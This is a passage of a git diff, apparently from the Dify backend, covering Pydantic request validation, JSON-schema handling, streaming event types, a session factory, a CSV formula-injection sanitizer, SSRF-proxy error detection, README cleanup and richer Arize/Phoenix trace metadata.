-        }
-    )
+    @web_ns.expect(web_ns.models[ChatMessagePayload.__name__])
     @web_ns.doc(
         responses={
             200: "Success",
@@ -173,20 +171,10 @@ class ChatApi(WebApiResource):
         if app_mode not in {AppMode.CHAT, AppMode.AGENT_CHAT, AppMode.ADVANCED_CHAT}:
             raise NotChatAppError()
 
-        parser = (
-            reqparse.RequestParser()
-            .add_argument("inputs", type=dict, required=True, location="json")
-            .add_argument("query", type=str, required=True, location="json")
-            .add_argument("files", type=list, required=False, location="json")
-            .add_argument("response_mode", type=str, choices=["blocking", "streaming"], location="json")
-            .add_argument("conversation_id", type=uuid_value, location="json")
-            .add_argument("parent_message_id", type=uuid_value, required=False, location="json")
-            .add_argument("retriever_from", type=str, required=False, default="web_app", location="json")
-        )
+        payload = ChatMessagePayload.model_validate(web_ns.payload or {})
+        args = payload.model_dump(exclude_none=True)
 
-        args = parser.parse_args()
-
-        streaming = args["response_mode"] == "streaming"
+        streaming = payload.response_mode == "streaming"
         args["auto_generate_name"] = False
 
         try:
diff --git a/api/core/app/app_config/entities.py b/api/core/app/app_config/entities.py
index 93f2742599..307af3747c 100644
--- a/api/core/app/app_config/entities.py
+++ b/api/core/app/app_config/entities.py
@@ -1,3 +1,4 @@
+import json
 from collections.abc import Sequence
 from enum import StrEnum, auto
 from typing import Any, Literal
@@ -120,7 +121,7 @@ class VariableEntity(BaseModel):
     allowed_file_types: Sequence[FileType] | None = Field(default_factory=list)
     allowed_file_extensions: Sequence[str] | None = Field(default_factory=list)
     allowed_file_upload_methods: Sequence[FileTransferMethod] | None = Field(default_factory=list)
-    json_schema: dict[str, Any] | None = Field(default=None)
+    json_schema: str | None = Field(default=None)
 
     @field_validator("description", mode="before")
     @classmethod
@@ -134,11 +135,17 @@ class VariableEntity(BaseModel):
 
     @field_validator("json_schema")
     @classmethod
-    def validate_json_schema(cls, schema: dict[str, Any] | None) -> dict[str, Any] | None:
+    def validate_json_schema(cls, schema: str | None) -> str | None:
         if schema is None:
             return None
+
         try:
-            Draft7Validator.check_schema(schema)
+            json_schema = json.loads(schema)
+        except json.JSONDecodeError:
+            raise ValueError(f"invalid json_schema value {schema}")
+
+        try:
+            Draft7Validator.check_schema(json_schema)
         except SchemaError as e:
             raise ValueError(f"Invalid JSON schema: {e.message}")
         return schema
diff --git a/api/core/app/apps/base_app_generator.py b/api/core/app/apps/base_app_generator.py
index 1b0474142e..02d58a07d1 100644
--- a/api/core/app/apps/base_app_generator.py
+++ b/api/core/app/apps/base_app_generator.py
@@ -1,3 +1,4 @@
+import json
 from collections.abc import Generator, Mapping, Sequence
 from typing import TYPE_CHECKING, Any, Union, final
 
@@ -175,6 +176,13 @@ class BaseAppGenerator:
                         value = True
                     elif value == 0:
                         value = False
+            case VariableEntityType.JSON_OBJECT:
+                if not isinstance(value, str):
+                    raise ValueError(f"{variable_entity.variable} in input form must be a string")
+                try:
+                    json.loads(value)
+                except json.JSONDecodeError:
+                    raise ValueError(f"{variable_entity.variable} in input form must be a valid JSON object")
             case _:
                 raise AssertionError("this statement should be unreachable.")
 
diff --git a/api/core/app/task_pipeline/easy_ui_based_generate_task_pipeline.py b/api/core/app/task_pipeline/easy_ui_based_generate_task_pipeline.py
index 5c169f4db1..5bb93fa44a 100644
--- a/api/core/app/task_pipeline/easy_ui_based_generate_task_pipeline.py
+++ b/api/core/app/task_pipeline/easy_ui_based_generate_task_pipeline.py
@@ -342,9 +342,11 @@ class EasyUIBasedGenerateTaskPipeline(BasedGenerateTaskPipeline):
                 self._task_state.llm_result.message.content = current_content
 
                 if isinstance(event, QueueLLMChunkEvent):
+                    event_type = self._message_cycle_manager.get_message_event_type(message_id=self._message_id)
                     yield self._message_cycle_manager.message_to_stream_response(
                         answer=cast(str, delta_text),
                         message_id=self._message_id,
+                        event_type=event_type,
                     )
                 else:
                     yield self._agent_message_to_stream_response(
diff --git a/api/core/app/task_pipeline/message_cycle_manager.py b/api/core/app/task_pipeline/message_cycle_manager.py
index 2e6f92efa5..0e7f300cee 100644
--- a/api/core/app/task_pipeline/message_cycle_manager.py
+++ b/api/core/app/task_pipeline/message_cycle_manager.py
@@ -5,7 +5,7 @@ from threading import Thread
 from typing import Union
 
 from flask import Flask, current_app
-from sqlalchemy import select
+from sqlalchemy import exists, select
 from sqlalchemy.orm import Session
 
 from configs import dify_config
@@ -54,6 +54,20 @@ class MessageCycleManager:
     ):
         self._application_generate_entity = application_generate_entity
         self._task_state = task_state
+        self._message_has_file: set[str] = set()
+
+    def get_message_event_type(self, message_id: str) -> StreamEvent:
+        if message_id in self._message_has_file:
+            return StreamEvent.MESSAGE_FILE
+
+        with Session(db.engine, expire_on_commit=False) as session:
+            has_file = session.query(exists().where(MessageFile.message_id == message_id)).scalar()
+
+        if has_file:
+            self._message_has_file.add(message_id)
+            return StreamEvent.MESSAGE_FILE
+
+        return StreamEvent.MESSAGE
 
     def generate_conversation_name(self, *, conversation_id: str, query: str) -> Thread | None:
         """
@@ -214,7 +228,11 @@ class MessageCycleManager:
         return None
 
     def message_to_stream_response(
-        self, answer: str, message_id: str, from_variable_selector: list[str] | None = None
+        self,
+        answer: str,
+        message_id: str,
+        from_variable_selector: list[str] | None = None,
+        event_type: StreamEvent | None = None,
     ) -> MessageStreamResponse:
         """
         Message to stream response.
@@ -222,16 +240,12 @@ class MessageCycleManager:
         :param message_id: message id
         :return:
         """
-        with Session(db.engine, expire_on_commit=False) as session:
-            message_file = session.scalar(select(MessageFile).where(MessageFile.id == message_id))
-        event_type = StreamEvent.MESSAGE_FILE if message_file else StreamEvent.MESSAGE
-
         return MessageStreamResponse(
             task_id=self._application_generate_entity.task_id,
             id=message_id,
             answer=answer,
             from_variable_selector=from_variable_selector,
-            event=event_type,
+            event=event_type or StreamEvent.MESSAGE,
         )
 
     def message_replace_to_stream_response(self, answer: str, reason: str = "") -> MessageReplaceStreamResponse:
diff --git a/api/core/db/__init__.py b/api/core/db/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/api/core/db/session_factory.py b/api/core/db/session_factory.py
new file mode 100644
index 0000000000..1dae2eafd4
--- /dev/null
+++ b/api/core/db/session_factory.py
@@ -0,0 +1,38 @@
+from sqlalchemy import Engine
+from sqlalchemy.orm import Session, sessionmaker
+
+_session_maker: sessionmaker | None = None
+
+
+def configure_session_factory(engine: Engine, expire_on_commit: bool = False):
+    """Configure the global session factory"""
+    global _session_maker
+    _session_maker = sessionmaker(bind=engine, expire_on_commit=expire_on_commit)
+
+
+def get_session_maker() -> sessionmaker:
+    if _session_maker is None:
+        raise RuntimeError("Session factory not configured. Call configure_session_factory() first.")
+    return _session_maker
+
+
+def create_session() -> Session:
+    return get_session_maker()()
+
+
+# Class wrapper for convenience
+class SessionFactory:
+    @staticmethod
+    def configure(engine: Engine, expire_on_commit: bool = False):
+        configure_session_factory(engine, expire_on_commit)
+
+    @staticmethod
+    def get_session_maker() -> sessionmaker:
+        return get_session_maker()
+
+    @staticmethod
+    def create_session() -> Session:
+        return create_session()
+
+
+session_factory = SessionFactory()
diff --git a/api/core/entities/knowledge_entities.py b/api/core/entities/knowledge_entities.py
index bed3a35400..d4093b5245 100644
--- a/api/core/entities/knowledge_entities.py
+++ b/api/core/entities/knowledge_entities.py
@@ -1,4 +1,4 @@
-from pydantic import BaseModel, Field
+from pydantic import BaseModel, Field, field_validator
 
 
 class PreviewDetail(BaseModel):
@@ -20,9 +20,17 @@ class IndexingEstimate(BaseModel):
 class PipelineDataset(BaseModel):
     id: str
     name: str
-    description: str | None = Field(default="", description="knowledge dataset description")
+    description: str = Field(default="", description="knowledge dataset description")
     chunk_structure: str
 
+    @field_validator("description", mode="before")
+    @classmethod
+    def normalize_description(cls, value: str | None) -> str:
+        """Coerce None to empty string so description is always a string."""
+        if value is None:
+            return ""
+        return value
+
 
 class PipelineDocument(BaseModel):
     id: str
diff --git a/api/core/entities/mcp_provider.py b/api/core/entities/mcp_provider.py
index 7484cea04a..7fdf5e4be6 100644
--- a/api/core/entities/mcp_provider.py
+++ b/api/core/entities/mcp_provider.py
@@ -213,12 +213,23 @@ class MCPProviderEntity(BaseModel):
         return None
 
     def retrieve_tokens(self) -> OAuthTokens | None:
-        """OAuth tokens if available"""
+        """Retrieve OAuth tokens if authentication is complete.
+
+        Returns:
+            OAuthTokens if the provider has been authenticated, None otherwise.
+        """
         if not self.credentials:
             return None
         credentials = self.decrypt_credentials()
+        access_token = credentials.get("access_token", "")
+        # Return None if access_token is empty to avoid generating invalid "Authorization: Bearer " header.
+        # Note: We don't check for whitespace-only strings here because:
+        # 1. OAuth servers don't return whitespace-only access tokens in practice
+        # 2. Even if they did, the server would return 401, triggering the OAuth flow correctly
+        if not access_token:
+            return None
         return OAuthTokens(
-            access_token=credentials.get("access_token", ""),
+            access_token=access_token,
             token_type=credentials.get("token_type", DEFAULT_TOKEN_TYPE),
             expires_in=int(credentials.get("expires_in", str(DEFAULT_EXPIRES_IN)) or DEFAULT_EXPIRES_IN),
             refresh_token=credentials.get("refresh_token", ""),
diff --git a/api/core/helper/csv_sanitizer.py b/api/core/helper/csv_sanitizer.py
new file mode 100644
index 0000000000..0023de5a35
--- /dev/null
+++ b/api/core/helper/csv_sanitizer.py
@@ -0,0 +1,89 @@
+"""CSV sanitization utilities to prevent formula injection attacks."""
+
+from typing import Any
+
+
+class CSVSanitizer:
+    """
+    Sanitizer for CSV export to prevent formula injection attacks.
+
+    This class provides methods to sanitize data before CSV export by escaping
+    characters that could be interpreted as formulas by spreadsheet applications
+    (Excel, LibreOffice, Google Sheets).
+
+    Formula injection occurs when user-controlled data starting with special
+    characters (=, +, -, @, tab, carriage return) is exported to CSV and opened
+    in a spreadsheet application, potentially executing malicious commands.
+    """
+
+    # Characters that can start a formula in Excel/LibreOffice/Google Sheets
+    FORMULA_CHARS = frozenset({"=", "+", "-", "@", "\t", "\r"})
+
+    @classmethod
+    def sanitize_value(cls, value: Any) -> str:
+        """
+        Sanitize a value for safe CSV export.
+
+        Prefixes formula-initiating characters with a single quote to prevent
+        Excel/LibreOffice/Google Sheets from treating them as formulas.
+
+        Args:
+            value: The value to sanitize (will be converted to string)
+
+        Returns:
+            Sanitized string safe for CSV export
+
+        Examples:
+            >>> CSVSanitizer.sanitize_value("=1+1")
+            "'=1+1"
+            >>> CSVSanitizer.sanitize_value("Hello World")
+            "Hello World"
+            >>> CSVSanitizer.sanitize_value(None)
+            ""
+        """
+        if value is None:
+            return ""
+
+        # Convert to string
+        str_value = str(value)
+
+        # If empty, return as is
+        if not str_value:
+            return ""
+
+        # Check if first character is a formula initiator
+        if str_value[0] in cls.FORMULA_CHARS:
+            # Prefix with single quote to escape
+            return f"'{str_value}"
+
+        return str_value
+
+    @classmethod
+    def sanitize_dict(cls, data: dict[str, Any], fields_to_sanitize: list[str] | None = None) -> dict[str, Any]:
+        """
+        Sanitize specified fields in a dictionary.
+
+        Args:
+            data: Dictionary containing data to sanitize
+            fields_to_sanitize: List of field names to sanitize.
+                               If None, sanitizes all string fields.
+
+        Returns:
+            Dictionary with sanitized values (creates a shallow copy)
+
+        Examples:
+            >>> data = {"question": "=1+1", "answer": "+calc", "id": "123"}
+            >>> CSVSanitizer.sanitize_dict(data, ["question", "answer"])
+            {"question": "'=1+1", "answer": "'+calc", "id": "123"}
+        """
+        sanitized = data.copy()
+
+        if fields_to_sanitize is None:
+            # Sanitize all string fields
+            fields_to_sanitize = [k for k, v in data.items() if isinstance(v, str)]
+
+        for field in fields_to_sanitize:
+            if field in sanitized:
+                sanitized[field] = cls.sanitize_value(sanitized[field])
+
+        return sanitized
diff --git a/api/core/helper/ssrf_proxy.py b/api/core/helper/ssrf_proxy.py
index 0de026f3c7..6c98aea1be 100644
--- a/api/core/helper/ssrf_proxy.py
+++ b/api/core/helper/ssrf_proxy.py
@@ -9,6 +9,7 @@ import httpx
 
 from configs import dify_config
 from core.helper.http_client_pooling import get_pooled_http_client
+from core.tools.errors import ToolSSRFError
 
 logger = logging.getLogger(__name__)
 
@@ -93,6 +94,18 @@ def make_request(method, url, max_retries=SSRF_DEFAULT_MAX_RETRIES, **kwargs):
     while retries <= max_retries:
         try:
             response = client.request(method=method, url=url, **kwargs)
+            # Check for SSRF protection by Squid proxy
+            if response.status_code in (401, 403):
+                # Check if this is a Squid SSRF rejection
+                server_header = response.headers.get("server", "").lower()
+                via_header = response.headers.get("via", "").lower()
+
+                # Squid typically identifies itself in Server or Via headers
+                if "squid" in server_header or "squid" in via_header:
+                    raise ToolSSRFError(
+                        f"Access to '{url}' was blocked by SSRF protection. "
+                        f"The URL may point to a private or local network address. "
+                    )
 
             if response.status_code not in STATUS_FORCELIST:
                 return response
diff --git a/api/core/llm_generator/llm_generator.py b/api/core/llm_generator/llm_generator.py
index 4a577e6c38..b4c3ec1caf 100644
--- a/api/core/llm_generator/llm_generator.py
+++ b/api/core/llm_generator/llm_generator.py
@@ -72,15 +72,22 @@ class LLMGenerator:
                 prompt_messages=list(prompts), model_parameters={"max_tokens": 500, "temperature": 1}, stream=False
             )
         answer = cast(str, response.message.content)
-        cleaned_answer = re.sub(r"^.*(\{.*\}).*$", r"\1", answer, flags=re.DOTALL)
-        if cleaned_answer is None:
+        if answer is None:
             return ""
         try:
-            result_dict = json.loads(cleaned_answer)
-            answer = result_dict["Your Output"]
+            result_dict = json.loads(answer)
         except json.JSONDecodeError:
-            logger.exception("Failed to generate name after answer, use query instead")
+            result_dict = json_repair.loads(answer)
+
+        if not isinstance(result_dict, dict):
             answer = query
+        else:
+            output = result_dict.get("Your Output")
+            if isinstance(output, str) and output.strip():
+                answer = output.strip()
+            else:
+                answer = query
+
         name = answer.strip()
 
         if len(name) > 75:
diff --git a/api/core/model_runtime/README.md b/api/core/model_runtime/README.md
index a6caa7eb1e..b9d2c55210 100644
--- a/api/core/model_runtime/README.md
+++ b/api/core/model_runtime/README.md
@@ -18,34 +18,20 @@ This module provides the interface for invoking and authenticating various model
 
 - Model provider display
 
-  ![image-20231210143654461](./docs/en_US/images/index/image-20231210143654461.png)
-
-  Displays a list of all supported providers, including provider names, icons, supported model types list, predefined model list, configuration method, and credentials form rules, etc. For detailed rule design, see: [Schema](./docs/en_US/schema.md).
+  Displays a list of all supported providers, including provider names, icons, supported model types list, predefined model list, configuration method, and credentials form rules, etc.
 
 - Selectable model list display
 
-  ![image-20231210144229650](./docs/en_US/images/index/image-20231210144229650.png)
-
   After configuring provider/model credentials, the dropdown (application orchestration interface/default model) allows viewing of the available LLM list. Greyed out items represent predefined model lists from providers without configured credentials, facilitating user review of supported models.
 
-  In addition, this list also returns configurable parameter information and rules for LLM, as shown below:
-
-  ![image-20231210144814617](./docs/en_US/images/index/image-20231210144814617.png)
-
-  These parameters are all defined in the backend, allowing different settings for various parameters supported by different models, as detailed in: [Schema](./docs/en_US/schema.md#ParameterRule).
+  In addition, this list also returns configurable parameter information and rules for LLM. These parameters are all defined in the backend, allowing different settings for various parameters supported by different models.
 
 - Provider/model credential authentication
 
-  ![image-20231210151548521](./docs/en_US/images/index/image-20231210151548521.png)
-
-  ![image-20231210151628992](./docs/en_US/images/index/image-20231210151628992.png)
-
-  The provider list returns configuration information for the credentials form, which can be authenticated through Runtime's interface. The first image above is a provider credential DEMO, and the second is a model credential DEMO.
+  The provider list returns configuration information for the credentials form, which can be authenticated through Runtime's interface.
 
 ## Structure
 
-![](./docs/en_US/images/index/image-20231210165243632.png)
-
 Model Runtime is divided into three layers:
 
 - The outermost layer is the factory method
@@ -60,9 +46,6 @@ Model Runtime is divided into three layers:
 
   It offers direct invocation of various model types, predefined model configuration information, getting predefined/remote model lists, model credential authentication methods. Different models provide additional special methods, like LLM's pre-computed tokens method, cost information obtaining method, etc., **allowing horizontal expansion** for different models under the same provider (within supported model types).
 
-## Next Steps
+## Documentation
 
-- Add new provider configuration: [Link](./docs/en_US/provider_scale_out.md)
-- Add new models for existing providers: [Link](./docs/en_US/provider_scale_out.md#AddModel)
-- View YAML configuration rules: [Link](./docs/en_US/schema.md)
-- Implement interface methods: [Link](./docs/en_US/interfaces.md)
+For detailed documentation on how to add new providers or models, please refer to the [Dify documentation](https://docs.dify.ai/).
diff --git a/api/core/model_runtime/README_CN.md b/api/core/model_runtime/README_CN.md
index dfe614347a..0a8b56b3fe 100644
--- a/api/core/model_runtime/README_CN.md
+++ b/api/core/model_runtime/README_CN.md
@@ -18,34 +18,20 @@
 
 - 模型供应商展示
 
-  ![image-20231210143654461](./docs/zh_Hans/images/index/image-20231210143654461.png)
-
-​ 展示所有已支持的供应商列表，除了返回供应商名称、图标之外，还提供了支持的模型类型列表，预定义模型列表、配置方式以及配置凭据的表单规则等等，规则设计详见：[Schema](./docs/zh_Hans/schema.md)。
+  展示所有已支持的供应商列表，除了返回供应商名称、图标之外，还提供了支持的模型类型列表，预定义模型列表、配置方式以及配置凭据的表单规则等等。
 
 - 可选择的模型列表展示
 
-  ![image-20231210144229650](./docs/zh_Hans/images/index/image-20231210144229650.png)
+  配置供应商/模型凭据后，可在此下拉（应用编排界面/默认模型）查看可用的 LLM 列表，其中灰色的为未配置凭据供应商的预定义模型列表，方便用户查看已支持的模型。
 
-​ 配置供应商/模型凭据后，可在此下拉（应用编排界面/默认模型）查看可用的 LLM 列表，其中灰色的为未配置凭据供应商的预定义模型列表，方便用户查看已支持的模型。
-
-​ 除此之外，该列表还返回了 LLM 可配置的参数信息和规则，如下图：
-
-​ ![image-20231210144814617](./docs/zh_Hans/images/index/image-20231210144814617.png)
-
-​ 这里的参数均为后端定义，相比之前只有 5 种固定参数，这里可为不同模型设置所支持的各种参数，详见：[Schema](./docs/zh_Hans/schema.md#ParameterRule)。
+  除此之外，该列表还返回了 LLM 可配置的参数信息和规则。这里的参数均为后端定义，相比之前只有 5 种固定参数，这里可为不同模型设置所支持的各种参数。
 
 - 供应商/模型凭据鉴权
 
-  ![image-20231210151548521](./docs/zh_Hans/images/index/image-20231210151548521.png)
-
-![image-20231210151628992](./docs/zh_Hans/images/index/image-20231210151628992.png)
-
-​ 供应商列表返回了凭据表单的配置信息，可通过 Runtime 提供的接口对凭据进行鉴权，上图 1 为供应商凭据 DEMO，上图 2 为模型凭据 DEMO。
+  供应商列表返回了凭据表单的配置信息，可通过 Runtime 提供的接口对凭据进行鉴权。
 
 ## 结构
 
-![](./docs/zh_Hans/images/index/image-20231210165243632.png)
-
 Model Runtime 分三层：
 
 - 最外层为工厂方法
@@ -59,8 +45,7 @@ Model Runtime 分三层：
   对于供应商/模型凭据，有两种情况
 
   - 如 OpenAI 这类中心化供应商，需要定义如**api_key**这类的鉴权凭据
-  - 如[**Xinference**](https://github.com/xorbitsai/inference)这类本地部署的供应商，需要定义如**server_url**这类的地址凭据，有时候还需要定义**model_uid**之类的模型类型凭据，就像下面这样，当在供应商层定义了这些凭据后，就可以在前端页面上直接展示，无需修改前端逻辑。
-    ![Alt text](docs/zh_Hans/images/index/image.png)
+  - 如[**Xinference**](https://github.com/xorbitsai/inference)这类本地部署的供应商，需要定义如**server_url**这类的地址凭据，有时候还需要定义**model_uid**之类的模型类型凭据。当在供应商层定义了这些凭据后，就可以在前端页面上直接展示，无需修改前端逻辑。
 
   当配置好凭据后，就可以通过 DifyRuntime 的外部接口直接获取到对应供应商所需要的**Schema**（凭据表单规则），从而在可以在不修改前端逻辑的情况下，提供新的供应商/模型的支持。
 
@@ -74,20 +59,6 @@ Model Runtime 分三层：
 
   - 模型凭据 (**在供应商层定义**)：这是一类不经常变动，一般在配置好后就不会再变动的参数，如 **api_key**、**server_url** 等。在 DifyRuntime 中，他们的参数名一般为**credentials: dict[str, any]**，Provider 层的 credentials 会直接被传递到这一层，不需要再单独定义。
 
-## 下一步
+## 文档
 
-### [增加新的供应商配置 👈🏻](./docs/zh_Hans/provider_scale_out.md)
-
-当添加后，这里将会出现一个新的供应商
-
-![Alt text](docs/zh_Hans/images/index/image-1.png)
-
-### [为已存在的供应商新增模型 👈🏻](./docs/zh_Hans/provider_scale_out.md#%E5%A2%9E%E5%8A%A0%E6%A8%A1%E5%9E%8B)
-
-当添加后，对应供应商的模型列表中将会出现一个新的预定义模型供用户选择，如 GPT-3.5 GPT-4 ChatGLM3-6b 等，而对于支持自定义模型的供应商，则不需要新增模型。
-
-![Alt text](docs/zh_Hans/images/index/image-2.png)
-
-### [接口的具体实现 👈🏻](./docs/zh_Hans/interfaces.md)
-
-你可以在这里找到你想要查看的接口的具体实现，以及接口的参数和返回值的具体含义。
+有关如何添加新供应商或模型的详细文档，请参阅 [Dify 文档](https://docs.dify.ai/)。
diff --git a/api/core/ops/arize_phoenix_trace/arize_phoenix_trace.py b/api/core/ops/arize_phoenix_trace/arize_phoenix_trace.py
index 347992fa0d..a7b73e032e 100644
--- a/api/core/ops/arize_phoenix_trace/arize_phoenix_trace.py
+++ b/api/core/ops/arize_phoenix_trace/arize_phoenix_trace.py
@@ -6,7 +6,13 @@ from datetime import datetime, timedelta
 from typing import Any, Union, cast
 from urllib.parse import urlparse
 
-from openinference.semconv.trace import OpenInferenceMimeTypeValues, OpenInferenceSpanKindValues, SpanAttributes
+from openinference.semconv.trace import (
+    MessageAttributes,
+    OpenInferenceMimeTypeValues,
+    OpenInferenceSpanKindValues,
+    SpanAttributes,
+    ToolCallAttributes,
+)
 from opentelemetry.exporter.otlp.proto.grpc.trace_exporter import OTLPSpanExporter as GrpcOTLPSpanExporter
 from opentelemetry.exporter.otlp.proto.http.trace_exporter import OTLPSpanExporter as HttpOTLPSpanExporter
 from opentelemetry.sdk import trace as trace_sdk
@@ -95,14 +101,14 @@ def setup_tracer(arize_phoenix_config: ArizeConfig | PhoenixConfig) -> tuple[tra
 
 
 def datetime_to_nanos(dt: datetime | None) -> int:
-    """Convert datetime to nanoseconds since epoch. If None, use current time."""
+    """Convert datetime to nanoseconds since epoch for Arize/Phoenix."""
     if dt is None:
         dt = datetime.now()
     return int(dt.timestamp() * 1_000_000_000)
 
 
 def error_to_string(error: Exception | str | None) -> str:
-    """Convert an error to a string with traceback information."""
+    """Convert an error to a string with traceback information for Arize/Phoenix."""
     error_message = "Empty Stack Trace"
     if error:
         if isinstance(error, Exception):
@@ -114,7 +120,7 @@ def error_to_string(error: Exception | str | None) -> str:
 
 
 def set_span_status(current_span: Span, error: Exception | str | None = None):
-    """Set the status of the current span based on the presence of an error."""
+    """Set the status of the current span based on the presence of an error for Arize/Phoenix."""
     if error:
         error_string = error_to_string(error)
         current_span.set_status(Status(StatusCode.ERROR, error_string))
@@ -138,10 +144,17 @@ def set_span_status(current_span: Span, error: Exception | str | None = None):
 
 
 def safe_json_dumps(obj: Any) -> str:
-    """A convenience wrapper around `json.dumps` that ensures that any object can be safely encoded."""
+    """A convenience wrapper to ensure that any object can be safely encoded for Arize/Phoenix."""
     return json.dumps(obj, default=str, ensure_ascii=False)
 
 
+def wrap_span_metadata(metadata, **kwargs):
+    """Add common metatada to all trace entity types for Arize/Phoenix."""
+    metadata["created_from"] = "Dify"
+    metadata.update(kwargs)
+    return metadata
+
+
 class ArizePhoenixDataTrace(BaseTraceInstance):
     def __init__(
         self,
@@ -183,16 +196,27 @@ class ArizePhoenixDataTrace(BaseTraceInstance):
             raise
 
     def workflow_trace(self, trace_info: WorkflowTraceInfo):
-        workflow_metadata = {
-            "workflow_run_id": trace_info.workflow_run_id or "",
-            "message_id": trace_info.message_id or "",
-            "workflow_app_log_id": trace_info.workflow_app_log_id or "",
-            "status": trace_info.workflow_run_status or "",
-            "status_message": trace_info.error or "",
-            "level": "ERROR" if trace_info.error else "DEFAULT",
-            "total_tokens": trace_info.total_tokens or 0,
-        }
-        workflow_metadata.update(trace_info.metadata)
+        file_list = trace_info.file_list if isinstance(trace_info.file_list, list) else []
+
+        metadata = wrap_span_metadata(
+            trace_info.metadata,
+            trace_id=trace_info.trace_id or "",
+            message_id=trace_info.message_id or "",
+            status=trace_info.workflow_run_status or "",
+            status_message=trace_info.error or "",
+            level="ERROR" if trace_info.error else "DEFAULT",
+            trace_entity_type="workflow",
+            conversation_id=trace_info.conversation_id or "",
+            workflow_app_log_id=trace_info.workflow_app_log_id or "",
+            workflow_id=trace_info.workflow_id or "",
+            tenant_id=trace_info.tenant_id or "",
+            workflow_run_id=trace_info.workflow_run_id or "",
+            workflow_run_elapsed_time=trace_info.workflow_run_elapsed_time or 0,
+            workflow_run_version=trace_info.workflow_run_version or "",
+            total_tokens=trace_info.total_tokens or 0,
+            file_list=safe_json_dumps(file_list),
+            query=trace_info.query or "",
+        )
 
         dify_trace_id = trace_info.trace_id or trace_info.message_id or trace_info.workflow_run_id
         self.ensure_root_span(dify_trace_id)
@@ -201,10 +225,12 @@ class ArizePhoenixDataTrace(BaseTraceInstance):
         workflow_span = self.tracer.start_span(
             name=TraceTaskName.WORKFLOW_TRACE.value,
             attributes={
-                SpanAttributes.INPUT_VALUE: json.dumps(trace_info.workflow_run_inputs, ensure_ascii=False),
-                SpanAttributes.OUTPUT_VALUE: json.dumps(trace_info.workflow_run_outputs, ensure_ascii=False),
                 SpanAttributes.OPENINFERENCE_SPAN_KIND: OpenInferenceSpanKindValues.CHAIN.value,
-                SpanAttributes.METADATA: json.dumps(workflow_metadata, ensure_ascii=False),
+                SpanAttributes.INPUT_VALUE: safe_json_dumps(trace_info.workflow_run_inputs),
+                SpanAttributes.INPUT_MIME_TYPE: OpenInferenceMimeTypeValues.JSON.value,
+                SpanAttributes.OUTPUT_VALUE: safe_json_dumps(trace_info.workflow_run_outputs),
+                SpanAttributes.OUTPUT_MIME_TYPE: OpenInferenceMimeTypeValues.JSON.value,
+                SpanAttributes.METADATA: safe_json_dumps(metadata),
                 SpanAttributes.SESSION_ID: trace_info.conversation_id or "",
             },
             start_time=datetime_to_nanos(trace_info.start_time),
@@ -257,6 +283,7 @@ class ArizePhoenixDataTrace(BaseTraceInstance):
                         "app_id": app_id,
                         "app_name": node_execution.title,
                         "status": node_execution.status,
+                        "status_message": node_execution.error or "",
                         "level": "ERROR" if node_execution.status == "failed" else "DEFAULT",
                     }
                 )
@@ -290,11 +317,11 @@ class ArizePhoenixDataTrace(BaseTraceInstance):
                 node_span = self.tracer.start_span(
                     name=node_execution.node_type,
                     attributes={
+                        SpanAttributes.OPENINFERENCE_SPAN_KIND: span_kind.value,
                         SpanAttributes.INPUT_VALUE: safe_json_dumps(inputs_value),
                         SpanAttributes.INPUT_MIME_TYPE: OpenInferenceMimeTypeValues.JSON.value,
                         SpanAttributes.OUTPUT_VALUE: safe_json_dumps(outputs_value),
                         SpanAttributes.OUTPUT_MIME_TYPE: OpenInferenceMimeTypeValues.JSON.value,
-                        SpanAttributes.OPENINFERENCE_SPAN_KIND: span_kind.value,
                         SpanAttributes.METADATA: safe_json_dumps(node_metadata),
                         SpanAttributes.SESSION_ID: trace_info.conversation_id or "",
                     },
@@ -339,30 +366,37 @@ class ArizePhoenixDataTrace(BaseTraceInstance):
 
     def message_trace(self, trace_info: MessageTraceInfo):
         if trace_info.message_data is None:
+            logger.warning("[Arize/Phoenix] Message data is None, skipping message trace.")
             return
 
-        file_list = cast(list[str], trace_info.file_list) or []
+        file_list = trace_info.file_list if isinstance(trace_info.file_list, list) else []
         message_file_data: MessageFile | None = trace_info.message_file_data
 
         if message_file_data is not None:
             file_url = f"{self.file_base_url}/{message_file_data.url}" if message_file_data else ""
             file_list.append(file_url)
 
-        message_metadata = {
-            "message_id": trace_info.message_id or "",
-            "conversation_mode": str(trace_info.conversation_mode or ""),
-            "user_id": trace_info.message_data.from_account_id or "",
-            "file_list": json.dumps(file_list),
-            "status": trace_info.message_data.status or "",
-            "status_message": trace_info.error or "",
-            "level": "ERROR" if trace_info.error else "DEFAULT",
-            "total_tokens": trace_info.total_tokens or 0,
-            "prompt_tokens": trace_info.message_tokens or 0,
-            "completion_tokens": trace_info.answer_tokens or 0,
-            "ls_provider": trace_info.message_data.model_provider or "",
-            "ls_model_name": trace_info.message_data.model_id or "",
-        }
-        message_metadata.update(trace_info.metadata)
+        metadata = wrap_span_metadata(
+            trace_info.metadata,
+            trace_id=trace_info.trace_id or "",
+            message_id=trace_info.message_id or "",
+            status=trace_info.message_data.status or "",
+            status_message=trace_info.error or "",
+            level="ERROR" if trace_info.error else "DEFAULT",
+            trace_entity_type="message",
+            conversation_model=trace_info.conversation_model or "",
+            message_tokens=trace_info.message_tokens or 0,
+            answer_tokens=trace_info.answer_tokens or 0,
+            total_tokens=trace_info.total_tokens or 0,
+            conversation_mode=trace_info.conversation_mode or "",
+            gen_ai_server_time_to_first_token=trace_info.gen_ai_server_time_to_first_token or 0,
+            llm_streaming_time_to_generate=trace_info.llm_streaming_time_to_generate or 0,
+            is_streaming_request=trace_info.is_streaming_request or False,
+            user_id=trace_info.message_data.from_account_id or "",
+            file_list=safe_json_dumps(file_list),
+            model_provider=trace_info.message_data.model_provider or "",
+            model_id=trace_info.message_data.model_id or "",
+        )
 
         # Add end user data if available
         if trace_info.message_data.from_end_user_id:
@@ -370,14 +404,16 @@ class ArizePhoenixDataTrace(BaseTraceInstance):
                 db.session.query(EndUser).where(EndUser.id == trace_info.message_data.from_end_user_id).first()
             )
             if end_user_data is not None:
-                message_metadata["end_user_id"] = end_user_data.session_id
+                metadata["end_user_id"] = end_user_data.session_id
 
         attributes = {
-            SpanAttributes.INPUT_VALUE: trace_info.message_data.query,
-            SpanAttributes.OUTPUT_VALUE: trace_info.message_data.answer,
             SpanAttributes.OPENINFERENCE_SPAN_KIND: OpenInferenceSpanKindValues.CHAIN.value,
-            SpanAttributes.METADATA: json.dumps(message_metadata, ensure_ascii=False),
-            SpanAttributes.SESSION_ID: trace_info.message_data.conversation_id,
+            SpanAttributes.INPUT_VALUE: trace_info.message_data.query,
